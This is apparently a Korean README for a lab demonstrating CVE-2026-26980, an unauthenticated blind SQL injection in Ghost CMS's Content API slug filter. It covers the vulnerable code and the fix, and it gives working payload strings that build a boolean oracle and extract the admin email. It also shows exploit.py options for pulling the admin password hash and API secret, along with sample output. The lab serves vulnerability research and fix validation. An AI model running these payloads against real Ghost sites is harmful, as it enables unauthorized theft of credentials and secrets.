
CVE-2026-26980 — Ghost CMS Content API SQL 인젝션 랩 (slug 필터 정렬을 통한 인증되지 않은 블라인드 SQLi)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-89 (SQL Injection) |
| 영향 버전 | Ghost 3.24.0 -- 6.19.0 |
| 수정 버전 | Ghost 6.19.1 |
| 인증 필요 | 없음 (Content API 키는 설계상 공개) |
| 크레딧/참고 자료 | Nicholas Carlini, Claude 및 Anthropic 사용 [https://www.youtube.com/watch?v=1sd26pWhfmg] |
면책 조항 -- 이 랩은 공인된 보안 테스트, 교육 및 방어적 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.
Ghost의 Content API는 배열 표기법을 사용하여 슬러그로 태그와 게시물을 필터링하는 것을 지원합니다: filter=slug:[tag-a,tag-b]. 내부적으로 헬퍼 함수는 요청된 슬러그 순서를 유지하기 위해 ORDER BY CASE 문을 생성합니다. v6.19.1 이전에는 사용자 제공 슬러그 값이 매개변수화 없이 이 SQL에 직접 삽입되었습니다:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (취약)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Content API 키는 모든 Ghost 사이트의 HTML(data-key="...")에 포함되어 있어 완전히 인증되지 않은 공격 표면을 제공합니다.
Ghost의 NQL 쿼리 언어는 필터 입력을 검증하고 원시 작은따옴표나 공백을 거부합니다. 그러나 NQL은 배열 표기법(slug:['value']) 내부의 작은따옴표로 감싼 값을 허용하며, 따옴표를 리터럴의 일부로 전달합니다. slugFilterOrder 정규식은 이러한 값을 추출하여 따옴표를 포함한 채 SQL에 삽입합니다:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL은 따옴표를 리터럴 문자로 전달
삽입 후 ORDER BY는 다음과 같이 됩니다:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
MySQL의 기본 SQL 모드에서 ||는 OR이고 ''는 거짓입니다. 이를 통해 깔끔한 부울 오라클을 얻을 수 있습니다:
| 조건 | CASE 결과 | 효과 |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | 정상 응답 (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLE 오버플로 오류 (HTTP 500) |
오라클이 확립되면 표준 이진 검색 블라인드 추출이 적용됩니다:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
SUBSTR(... FROM pos FOR len) 구문은 slugFilterOrder가 분할하는 쉼표를 피합니다.
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





수정은 문자열 삽입을 매개변수화된 바인딩으로 대체합니다:
// 수정됨
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
crud.js 플러그인은 orderByRaw를 통해 바인딩을 전달하도록 업데이트되었으며, @tryghost/bookshelf-plugins는 바인딩 지원을 추가하는 0.6.29로 업그레이드되었습니다.
requests가 포함된 Python 3.8+# 랩 클론 및 진입
git clone <this-repo> && cd ghost-cve-2026-26980
# Python 의존성 설치
pip install -r requirements.txt
# 취약한 Ghost 인스턴스 시작 (6.18.0 + MySQL 8)
docker compose up -d
# Ghost 초기화를 위해 약 45초 대기 후 익스플로잇 실행
python3 exploit.py --url http://localhost:2368
# 패치된 Ghost 6.19.1을 포트 2369에서도 시작
docker compose --profile fixed up -d
# 약 45초 대기 후 수정이 인젝션을 차단하는지 확인
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost URL (기본값: http://localhost:2368)
--validate-fix 대상이 취약하지 않음을 확인
--extract-password 관리자 bcrypt 해시도 추출
--extract-api-key 관리자 API 시크릿도 추출
--content-key KEY 설정 건너뛰고 이 Content API 키 직접 사용
-v, --verbose 쿼리별 오라클 결과 표시
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Ghost가 http://localhost:2368에서 준비될 때까지 대기
[*] Ghost 설정 중 (admin: [email protected])
[+] 설정 완료 — 세션 수립
[+] 로그인됨
[+] Content API 키: ad63c06a71457583ea58f050c1
[+] 앵커 슬러그: news
[*] 1단계 — 부울 블라인드 검증
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] 부울 오라클 확인 — 취약함
[*] 2a단계 — 관리자 이메일 추출
관리자 이메일 길이 측정... 21자
추출 중: [email protected]
[+] 이메일: [email protected]
============================================================
익스플로잇 요약
============================================================
대상: http://localhost:2368
CVE: CVE-2026-26980
Content 키: ad63c06a71457583ea58f050c1
관리자 이메일: [email protected]
============================================================
동일한 릴리스에서 두 번째 취약점이 패치되었습니다. Ghost의 {{#get}} Handlebars 헬퍼는 경로 표현식을 해석하기 위해 jsonpath 패키지(static-eval에 의존)를 사용했습니다. 악성 테마는 프로토타입 순회를 통해 Function()에 도달하는 표현식을 구성하여 서버 측 코드 실행을 달성할 수 있었습니다.
| CVE | CVE-2026-29053 |
| 영향 버전 | Ghost 0.7.2 -- 6.19.0 |
| 인증 | 관리자 (테마 업로드) |
| 수정 | jsonpath를 점 표기법, [N], [*]만 지원하는 제한된 querySimplePath() 함수로 대체 |
이 랩은 CVE-2026-26980이 인증되지 않았고 외부 공격자에게 더 영향력이 크므로 이에 초점을 맞춥니다.
.
├── README.md # 이 파일
├── docker-compose.yml # Ghost 6.18.0 (취약) + 6.19.1 (수정) with MySQL 8
├── exploit.py # 전체 PoC: 설정, 검증, 추출
├── validate.sh # 종단 간 검증 래퍼
└── requirements.txt # Python 의존성
이 랩은 MIT 라이선스에 따라 교육 및 공인된 보안 테스트 목적으로 제공됩니다.